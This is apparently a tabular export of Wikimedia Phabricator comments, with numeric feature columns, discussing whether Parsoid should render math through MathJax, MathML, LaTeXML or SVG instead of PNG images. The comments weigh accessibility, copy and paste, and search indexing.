**Severity**: normal",Medium,50.0,1374264060,1442497839.0,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-m5725ohwtikdne7f72hd,task_description,invalid,True,c1,3,True,True,False,2,,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,14.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,5.0,3.891891891891892,0.7567567567567568,"When MathJax is enabled we should render a <span> containing TeX, instead of an image.

--------------------------
**Version**: unspecified
**Severity**: normal"
529358,Parsoid: Output MathJax rendering for Math tags instead of images,MathJax support is discountinued T99369,,,1442497839,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,115,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,MathJax support is discountinued T99369
238639,Parsoid: Output MathJax rendering for Math tags instead of images,Mathjax is interesting for ZIM files and Kiwix because this would allow to reduce bandwidth/storage usage. Hope this is still on the Parsoid roadmap.,,,1402834289,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,False,,,49,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,18.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,18.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.8928571428571429,Mathjax is interesting for ZIM files and Kiwix because this would allow to reduce bandwidth/storage usage. Hope this is still on the Parsoid roadmap.
238630,Parsoid: Output MathJax rendering for Math tags instead of images,"(In reply to comment #12)

Thanks, Gabriel! That's very helpful.

> I'm also looking forward to learning more about LaTeXML vs. MathJax options.
> No browser supports Content MathML currently. The question then is if it is
> still useful to produce it for search while always rendering via Presentation
> MathML and/or server-generated SVG.

That's a good question. Especially, if Content MathML from TeX  can be good enough (with ""random"" authoring instead of firm semantic guidelines).

> Copy&pasting entire formulas should be possible as long as our data-mw
> attribute on the outer wrapper node is preserved. That has the TeX source,
> which can be used to re-render the contents from scratch. This will enable
> copy&pasting of entire sections including formulas.

That would be awesome. Subexpressions seems impossible right now -- but one day, with shadowdom and a lot of great heuristics it might just work...

> Are there popular screen readers that handle math? I agree that MathML is
> probably better in the longer term, but for current screen readers a speech
> string could still be a useful fall-back. At least if that would not prevent
> a plugin like math player from using the MathML instead.

A static speech string is never a bad idea for legacy screen readers. There are only two math accessibility solutions, MathPlayer and ChromeVox. AFAIK a number of screen readers ship MathPlayer but I'm not an expert on screen readers. 

Since ChromeVox is mostly JavaScript (and open source), an obvious idea is to create a MathJax extension based on its technology.

The thing is that accessibility is about more than aural rendering; in particular synchronized highlighting is extremely important for learning and other non-vision disabilities. That can't work with static strings.

> I think nobody is suggesting to generate *only* SVG. 

I'm glad I misunderstood you :)

> I'm not sure about the need for reflow in Wikipedia, as the limits of texvc 
> seem to have motivated authors to handle this manually in TeX.

I seem to have a very different experience :( Anyway, right now PNGs are the only option on mobile (bug 45816).",,,1378528443,,PHID-USER-nnhp4dmr6oozfejddbom,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,1.0,0.0,0.6666666666666666,9.666666666666666,3.0,0.0,0.0,0.3333333333333333,1.3333333333333333,1.0,0.0,0.6666666666666666,0.3333333333333333,1.6666666666666667,0.3333333333333333,6.333333333333333,7.666666666666667,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,5.333333333333333,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,2.6666666666666665,0.0,0.6666666666666666,0.0,0.0,0.0,15.0,1.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,4.0,3.6666666666666665,15.333333333333334,1.0,2.0,5.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,1.3333333333333333,0.0,2.6666666666666665,7.666666666666667,5.666666666666667,0.0,0.6666666666666666,0.0,2.6666666666666665,0.0,0.3333333333333333,3.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,4.064782941288965,0.7215528781793843,"(In reply to comment #12)

Thanks, Gabriel! That's very helpful.

QUOTE
QUOTE
QUOTE
QUOTE

That's a good question. Especially, if Content MathML from TeX  can be good enough (with ""random"" authoring instead of firm semantic guidelines).

QUOTE
QUOTE
QUOTE
QUOTE

That would be awesome. Subexpressions seems impossible right now -- but one day, with shadowdom and a lot of great heuristics it might just work...

QUOTE
QUOTE
QUOTE
QUOTE

A static speech string is never a bad idea for legacy screen readers. There are only two math accessibility solutions, MathPlayer and ChromeVox. AFAIK a number of screen readers ship MathPlayer but I'm not an expert on screen readers. 

Since ChromeVox is mostly JavaScript (and open source), an obvious idea is to create a MathJax extension based on its technology.

The thing is that accessibility is about more than aural rendering; in particular synchronized highlighting is extremely important for learning and other non-vision disabilities. That can't work with static strings.

QUOTE

I'm glad I misunderstood you :)

QUOTE
QUOTE

I seem to have a very different experience :( Anyway, right now PNGs are the only option on mobile (bug 45816)."
238621,Parsoid: Output MathJax rendering for Math tags instead of images,"(In reply to comment #11)

Peter, thanks for your input!

> Are you just collecting thoughts on this? Are you thinking about long term or
> short term? Is the topic now the back end or is it still the front end (as
> the
> issue title suggests)? 

In the Parsoid project we are developing a long-term HTML storage format for Wikipedia content. The VisualEditor uses our HTML, but also has the freedom to cut some corners for display in the shorter term. However, our long-term goal is to use Parsoid HTML also for regular page views. This is why we are now thinking about issues like copy&paste from read-only pages into a VisualEditor instance while refining the DOM spec at http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec.

Because of its rich metadata, Parsoid HTML is also useful for researchers and search engines. Ideally we'd also like to expose math in a way that works well for both content analysis / indexing *and* display.

> I'm meeting Martin Schubotz (the author of the arXiv link)
> over the next few days, so I hope to learn more about his projects (and he's
> coming up to WMF after that I hear so that's awesome).

I'm also looking forward to learning more about LaTeXML vs. MathJax options. No browser supports Content MathML currently. The question then is if it is still useful to produce it for search while always rendering via Presentation MathML and/or server-generated SVG.

> From a search point of view there doesn't seem to be much difference (but of
> course a specific search technology might prefer Content, Presentation, or
> TeX).

That might be, although Martin suggests that Content is better for search in his paper.

> Copy&paste is tricky. Yes, it works in FF, but often OS clipboards do not
> know
> how to handle it, apps sanitize it away etc. MathJax offers a context menu to
> access TeX & MathML source (and in our upcoming release any annotation-xml);
> cumbersome but it works everywhere. We are considering web components /
> shadow
> dom, but given the state of support that's for the future (current
> implementations have some funky copy&paste behavior).

Copy&pasting entire formulas should be possible as long as our data-mw attribute on the outer wrapper node is preserved. That has the TeX source, which can be used to re-render the contents from scratch. This will enable copy&pasting of entire sections including formulas.

I also get the impression that copy&pasting parts of a formula directly might not be feasible. It works with Presentation MathML in FF, but that would not be useful as we don't have a way to convert that back to TeX. It might make more sense to let users copy the TeX and insert that in a new formula using a widget.

> * generating static speech strings is the lowest form of a11y, especially
> when
> you could use MathJax which math accessibility tools support.

Are there popular screen readers that handle math? I agree that MathML is probably better in the longer term, but for current screen readers a speech string could still be a useful fall-back. At least if that would not prevent a plugin like math player from using the MathML instead.

> * generating static images of any kind will remove all the advantages of
> reflowable and accessible content.

I think nobody is suggesting to generate *only* SVG. I'm not sure about the need for reflow in Wikipedia, as the limits of texvc seem to have motivated authors to handle this manually in TeX.",,,1378509011,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,9,,0.2,0.0,0.0,0.4,1.0,5.4,2.0,0.2,0.2,0.4,3.2,0.8,0.0,0.4,0.2,2.4,1.0,6.0,13.4,0.2,2.2,0.2,0.6,0.0,0.0,0.2,0.0,0.0,1.0,0.8,0.4,5.4,0.8,1.0,1.0,0.2,0.2,0.2,0.0,0.6,0.2,0.2,0.2,0.8,0.0,0.6,0.0,0.6,0.4,17.8,1.2,0.6,0.2,0.4,0.0,0.0,0.0,0.0,0.0,0.0,0.2,1.6,0.0,0.2,0.0,0.4,0.0,5.0,3.6,15.8,2.2,1.4,7.4,0.0,0.0,0.2,0.2,5.0,0.0,0.2,0.0,3.8,13.4,8.6,0.2,0.0,0.0,3.8,0.0,1.0,2.0,0.0,2.6,1.2,0.2,0.0,4.037715565509519,0.7173796192609182,"(In reply to comment #11)

Peter, thanks for your input!

QUOTE
QUOTE
QUOTE
QUOTE

In the Parsoid project we are developing a long-term HTML storage format for Wikipedia content. The VisualEditor uses our HTML, but also has the freedom to cut some corners for display in the shorter term. However, our long-term goal is to use Parsoid HTML also for regular page views. This is why we are now thinking about issues like copy&paste from read-only pages into a VisualEditor instance while refining the DOM spec at URL

Because of its rich metadata, Parsoid HTML is also useful for researchers and search engines. Ideally we'd also like to expose math in a way that works well for both content analysis / indexing *and* display.

QUOTE
QUOTE
QUOTE

I'm also looking forward to learning more about LaTeXML vs. MathJax options. No browser supports Content MathML currently. The question then is if it is still useful to produce it for search while always rendering via Presentation MathML and/or server-generated SVG.

QUOTE
QUOTE
QUOTE

That might be, although Martin suggests that Content is better for search in his paper.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Copy&pasting entire formulas should be possible as long as our data-mw attribute on the outer wrapper node is preserved. That has the TeX source, which can be used to re-render the contents from scratch. This will enable copy&pasting of entire sections including formulas.

I also get the impression that copy&pasting parts of a formula directly might not be feasible. It works with Presentation MathML in FF, but that would not be useful as we don't have a way to convert that back to TeX. It might make more sense to let users copy the TeX and insert that in a new formula using a widget.

QUOTE
QUOTE
QUOTE

Are there popular screen readers that handle math? I agree that MathML is probably better in the longer term, but for current screen readers a speech string could still be a useful fall-back. At least if that would not prevent a plugin like math player from using the MathML instead.

QUOTE
QUOTE

I think nobody is suggesting to generate *only* SVG. I'm not sure about the need for reflow in Wikipedia, as the limits of texvc seem to have motivated authors to handle this manually in TeX."
238615,Parsoid: Output MathJax rendering for Math tags instead of images,"Arg -- I had responded twice, twice it was lost... Trying again.

===

On Sept 4 (after the IRC chat log) I tried to post:

Obviously, I'd love to see MathML + MathJax on Wikipedia. That would be a huge step forward for math on the web, accessibility, and education. 

But on the wikitech-I thread I started a while ago, there was a bit of uneasiness when it comes to MathJax performance, especially on mobile. I got the feeling that fallback images will be required for a while. Perhaps SVG might be better though and MathJax could help there, too. 

MathJax is modular on input, internal and output which is sometimes confusing in discussions; so yes we have an HTML/CSS output and an SVG output. At the same time, the texlive+texvc backend is a bit horrible. Personally, I think LateXML is a great tool for converting full LaTeX documents but I worry that you'll need another texvc to limit it -- it's too powerful. MathJax might just fit better because of its restricted syntax (and is extensible through javascript). Obviously, I'm terribly biased. For the record, LaTeXML is miles better than texvc. I'm meeting Martin Schubotz (the author of the arXiv link) over the next few days, so I hope to learn more about his projects (and he's coming up to WMF after that I hear so that's awesome).

Copy&paste is tricky. Yes, it works in FF, but often OS clipboards do not know how to handle it, apps sanitize it away etc. MathJax offers a context menu to access TeX & MathML source (and in our upcoming release any annotation-xml); cumbersome but it works everywhere. We are considering web components / shadow dom, but given the state of support that's for the future (current implementations have some funky copy&paste behavior).

I did get the strong impression on wikitech-I that wiktext should keep TeX as its internal format, so I'm wondering what you have in mind for pasting MathML. MathML isn't semantically rich enough to produce human readable TeX.

Regarding Content MathML, that's a topic of debate. I'm not an expert on Content MathML but I've heard relatively negative things about it from a semantic point of view. A case in point is that accessibility tools don't do better on Content MathML than on Presentation MathML -- they build their own semantic structures on top of it anyway. In any case, you don't see a lot ContentMathML in the wild since no one can render it.

From a search point of view there doesn't seem to be much difference (but of course a specific search technology might prefer Content, Presentation, or TeX).

It's more important to produce high quality Presentation MathML instead of low quality Content MathML. MathML today is a bit like HTML 1 -- we have the language, some basic rendering, that's it. MathML has missed out on 20 years of web development (although it's the de-facto standard in publishing and technical writing workflows). MathML on Wikipedia would be important to push things forward but small steps in what's currently possible would be better.


====

Yesterday I tried to post:

cc'ing Fred and Moritz who have been actively working on the math extension recently.

@Gabriel I'm a bit confused by your last two messages. [[well, less so after seeing that mine didn't get through]] 

Are you just collecting thoughts on this? Are you thinking about long term or short term? Is the topic now the back end or is it still the front end (as the issue title suggests)? 

Anyway, here a few more thoughts, trying to provide some outside input.

* Content MathML won't help on the front end -- you need Presentation MathML on the front end and use polyfills where necessary. MathJax works on all current browsers and while older machines and older Android devices may still see performance issues, those will continue to improve. Replacing images (PNG or SVG) on the fly is a progressive enhancement on all systems.
* the prototype that Gerardo mentioned combines MathJax and ChromeVox, so you'll run into the same problem for MathML support.
* generating static speech strings is the lowest form of a11y, especially when you could use MathJax which math accessibility tools support.
* generating static images of any kind will remove all the advantages of reflowable and accessible content.
* the math extension does not yet use LaTeXML but Fred and Martin are working on that.

I can't help but point out that there are also a number of serious issues with WIkipedia's math that are more important than ContentMathML. For example, there's no display math mode which is an incredible shortcoming. There's also poor unicode support and poor RTL support. None of this will improve by switching to Content MathML -- garbage in, garbage out would be the result.",,,1378492816,,PHID-USER-nnhp4dmr6oozfejddbom,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,False,,,9,,1.2,0.0,0.0,0.2,1.0,7.3,1.8,0.1,0.2,0.0,1.3,1.6,0.0,0.0,0.5,2.4,0.7,6.1,10.9,0.1,1.3,0.1,0.5,0.0,1.0,0.4,0.0,0.2,0.7,1.1,0.0,6.4,1.3,1.7,0.4,0.9,0.1,0.0,0.2,0.3,0.2,0.4,0.5,1.6,0.0,0.6,0.2,0.2,0.3,14.8,0.8,0.5,0.2,0.8,0.0,0.0,0.0,0.3,0.5,0.1,0.3,1.2,0.0,0.0,0.3,0.4,0.1,5.2,3.1,12.1,1.4,3.4,7.6,0.0,0.0,0.0,0.0,4.2,0.2,0.4,0.0,6.0,10.9,6.9,0.3,0.0,0.0,5.9,0.0,1.4,2.2,0.0,2.0,1.2,0.1,0.3,4.030317694087945,0.7405638544077424,"Arg -- I had responded twice, twice it was lost... Trying again.

===

On Sept 4 (after the IRC chat log) I tried to post:

Obviously, I'd love to see MathML + MathJax on Wikipedia. That would be a huge step forward for math on the web, accessibility, and education. 

But on the wikitech-I thread I started a while ago, there was a bit of uneasiness when it comes to MathJax performance, especially on mobile. I got the feeling that fallback images will be required for a while. Perhaps SVG might be better though and MathJax could help there, too. 

MathJax is modular on input, internal and output which is sometimes confusing in discussions; so yes we have an HTML/CSS output and an SVG output. At the same time, the texlive+texvc backend is a bit horrible. Personally, I think LateXML is a great tool for converting full LaTeX documents but I worry that you'll need another texvc to limit it -- it's too powerful. MathJax might just fit better because of its restricted syntax (and is extensible through javascript). Obviously, I'm terribly biased. For the record, LaTeXML is miles better than texvc. I'm meeting Martin Schubotz (the author of the arXiv link) over the next few days, so I hope to learn more about his projects (and he's coming up to WMF after that I hear so that's awesome).

Copy&paste is tricky. Yes, it works in FF, but often OS clipboards do not know how to handle it, apps sanitize it away etc. MathJax offers a context menu to access TeX & MathML source (and in our upcoming release any annotation-xml); cumbersome but it works everywhere. We are considering web components / shadow dom, but given the state of support that's for the future (current implementations have some funky copy&paste behavior).

I did get the strong impression on wikitech-I that wiktext should keep TeX as its internal format, so I'm wondering what you have in mind for pasting MathML. MathML isn't semantically rich enough to produce human readable TeX.

Regarding Content MathML, that's a topic of debate. I'm not an expert on Content MathML but I've heard relatively negative things about it from a semantic point of view. A case in point is that accessibility tools don't do better on Content MathML than on Presentation MathML -- they build their own semantic structures on top of it anyway. In any case, you don't see a lot ContentMathML in the wild since no one can render it.

From a search point of view there doesn't seem to be much difference (but of course a specific search technology might prefer Content, Presentation, or TeX).

It's more important to produce high quality Presentation MathML instead of low quality Content MathML. MathML today is a bit like HTML 1 -- we have the language, some basic rendering, that's it. MathML has missed out on 20 years of web development (although it's the de-facto standard in publishing and technical writing workflows). MathML on Wikipedia would be important to push things forward but small steps in what's currently possible would be better.


====

Yesterday I tried to post:

cc'ing Fred and Moritz who have been actively working on the math extension recently.
SCREEN_NAME I'm a bit confused by your last two messages. [[well, less so after seeing that mine didn't get through]] 

Are you just collecting thoughts on this? Are you thinking about long term or short term? Is the topic now the back end or is it still the front end (as the issue title suggests)? 

Anyway, here a few more thoughts, trying to provide some outside input.

* Content MathML won't help on the front end -- you need Presentation MathML on the front end and use polyfills where necessary. MathJax works on all current browsers and while older machines and older Android devices may still see performance issues, those will continue to improve. Replacing images (PNG or SVG) on the fly is a progressive enhancement on all systems.
* the prototype that Gerardo mentioned combines MathJax and ChromeVox, so you'll run into the same problem for MathML support.
* generating static speech strings is the lowest form of a11y, especially when you could use MathJax which math accessibility tools support.
* generating static images of any kind will remove all the advantages of reflowable and accessible content.
* the math extension does not yet use LaTeXML but Fred and Martin are working on that.

I can't help but point out that there are also a number of serious issues with WIkipedia's math that are more important than ContentMathML. For example, there's no display math mode which is an incredible shortcoming. There's also poor unicode support and poor RTL support. None of this will improve by switching to Content MathML -- garbage in, garbage out would be the result."
238609,Parsoid: Output MathJax rendering for Math tags instead of images,"MathJax only works with Presentation MathML: 
http://www.mathjax.org/resources/faqs/#problem-content

It also accepts only Presentation MathML as input. 

We might actually be better off using LaTeXML (https://www.mediawiki.org/wiki/Extension:Math#LaTeXML) to generate Content MathML. LaTeXML provides a web service that we could probably use directly. SVG can be generated with dvisvg from the TeX source. Afaik this is already used in the math extension.",,,1378428362,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,10.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,4.0,4.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,10.0,19.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,4.382352941176471,0.7941176470588235,"MathJax only works with Presentation MathML: 
URL

It also accepts only Presentation MathML as input. 

We might actually be better off using LaTeXML (URL to generate Content MathML. LaTeXML provides a web service that we could probably use directly. SVG can be generated with dvisvg from the TeX source. Afaik this is already used in the math extension."
238603,Parsoid: Output MathJax rendering for Math tags instead of images,"Just had a meeting with Gerardo Capiel in which we also talked about math. He was involved in a node / MathJax prototype that renders to SVG plus a textual description of the formula suitable for screen readers. It might be possible to use that to avoid the need for client-side rendering altogether:

* Content MathML as primary rendering for indexing and good rendering in Firefox
* Server-generated SVG fallback for fast rendering on other browsers
* Textual description for screen readers
* tex in data-mw for editing

The fall-back selection needs to be worked out, and might depend on JS. Compared to client-side rendering from TeX with MathJax this should be pretty fast. Ideally the DOM will not be modified, so that copy&pasting from a read-only page into an editor preserves all information.",,,1378426992,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,9,,0.5,0.0,0.5,2.0,0.5,5.5,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.5,0.0,0.5,0.5,3.5,16.5,0.0,1.5,0.5,0.5,0.5,1.5,0.0,0.5,0.0,1.0,0.5,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,2.5,0.0,0.5,0.0,0.5,0.0,16.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,5.0,3.0,11.0,1.5,1.5,7.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.5,16.5,8.0,0.0,0.0,0.0,1.5,0.0,1.0,3.0,0.0,1.5,0.0,0.0,0.0,4.231803797468354,0.7924841772151898,"Just had a meeting with Gerardo Capiel in which we also talked about math. He was involved in a node / MathJax prototype that renders to SVG plus a textual description of the formula suitable for screen readers. It might be possible to use that to avoid the need for client-side rendering altogether:

* Content MathML as primary rendering for indexing and good rendering in Firefox
* Server-generated SVG fallback for fast rendering on other browsers
* Textual description for screen readers
* tex in data-mw for editing

The fall-back selection needs to be worked out, and might depend on JS. Compared to client-side rendering from TeX with MathJax this should be pretty fast. Ideally the DOM will not be modified, so that copy&pasting from a read-only page into an editor preserves all information."
238594,Parsoid: Output MathJax rendering for Math tags instead of images,"Very relevant: http://arxiv.org/abs/1304.5475

How does the MathML generated by MathJax compare to the 'content MathML' generated by LaTeXML? Is it purely presentational MathML?",,,1378359915,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,31.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,17.0,7.0,7.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.448275862068965,0.7586206896551724,"Very relevant: URL

How does the MathML generated by MathJax compare to the 'content MathML' generated by LaTeXML? Is it purely presentational MathML?"
238588,Parsoid: Output MathJax rendering for Math tags instead of images,"We currently render as PNG with the tex available in an attribute. It would be nicer both for semantic information / indexing purposes and copy / pasting to render as MathML instead. MathJax could be used server-side to generate the MathML from tex, and client-side as a polyfill to provide HTML+CSS (or image?) rendering for browsers that don't support MathML well.

Copy / pasting native MathML seemed to work quite well the last time I tried it in Firefox and vanilla contenteditable. MathJax-inserted HTML+CSS will likely not do so well unless we preserve the MathML and especially the tex in the data-mw attribute. At least entire formulas could be copy/pastable that way though.",,,1378359248,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.5,1.5,6.5,0.5,0.0,0.5,0.5,4.0,0.5,0.0,0.0,0.0,2.0,0.0,8.5,9.0,0.0,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,1.0,1.0,0.0,1.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,5.0,1.5,10.0,0.5,3.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,9.0,6.0,0.5,0.0,0.0,3.0,0.0,0.5,1.0,0.0,1.5,0.5,0.5,0.0,4.244841966637401,0.7852282704126426,"We currently render as PNG with the tex available in an attribute. It would be nicer both for semantic information / indexing purposes and copy / pasting to render as MathML instead. MathJax could be used server-side to generate the MathML from tex, and client-side as a polyfill to provide HTML+CSS (or image?) rendering for browsers that don't support MathML well.

Copy / pasting native MathML seemed to work quite well the last time I tried it in Firefox and vanilla contenteditable. MathJax-inserted HTML+CSS will likely not do so well unless we preserve the MathML and especially the tex in the data-mw attribute. At least entire formulas could be copy/pastable that way though."
238581,Parsoid: Output MathJax rendering for Math tags instead of images,"Thanks for pointing me to this thread, Gabriel. 

Let me add https://bugzilla.wikimedia.org/show_bug.cgi?id=48036. 

If there's PNG+TeX in the page, then MathJax can replace the image on the fly. That will produce a nice user experience as the math will always be visible and only improve once MathJax is done (cf this Chrome extension https://chrome.google.com/webstore/detail/wikipedia-with-mathjax/fhomhkjcommffnlajeemenejemmegcmi).

For the OP, I should point out that MathJax preprocessing will remove the spans and insert its script tags, so you might want to insere those directly see http://docs.mathjax.org/en/latest/model.html#how-mathematics-is-stored-in-the-page.",,,1378354273,,PHID-USER-nnhp4dmr6oozfejddbom,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,1.0,3.0,1.0,5.0,12.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,17.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,17.0,3.0,2.0,12.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,12.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,3.967741935483871,0.7741935483870968,"Thanks for pointing me to this thread, Gabriel. 

Let me add URL 

If there's PNG+TeX in the page, then MathJax can replace the image on the fly. That will produce a nice user experience as the math will always be visible and only improve once MathJax is done (cf this Chrome extension URL

For the OP, I should point out that MathJax preprocessing will remove the spans and insert its script tags, so you might want to insere those directly see URL"
238576,Parsoid: Output MathJax rendering for Math tags instead of images,"From IRC discussion with pkrautzberger it seems that we could actually use MathJax directly to convert tex to MathML without calling the API at all. Some work is still needed though:

[17:03] <gwicke> do you have a node package?
[17:03] <pkrautzberger> ah. no. The problem is that MathJax requires a dom  right now. But we plan to liberate parts.
[17:03] <gwicke> we have a dom
[17:03] <pkrautzberger> (a lot functionality doesn't make sense outside the DOM).
[17:04] <gwicke> domino currently
[17:04] <pkrautzberger> but TeX2MathML conversion could be isolated easily (MathML to SVG not as easily). BTW our internal format is MathML.
[17:04] <gwicke> it only implements DOM4 in case that makes a difference
[17:04] <pkrautzberger> I'm not sure if dom4 would be a problem.
[17:04] <pkrautzberger> but we've seen people use dom runners.
[17:04] <gwicke> we could also use JSDom for math if that helps
[17:05] <gwicke> supports the other levels
[17:05] <gwicke> and script tag execution
[17:05] <pkrautzberger> well, ideally we could just isolate that from the dom.
[17:05] <pkrautzberger> but yes, I know someone who got jsdom to work with MathJax.
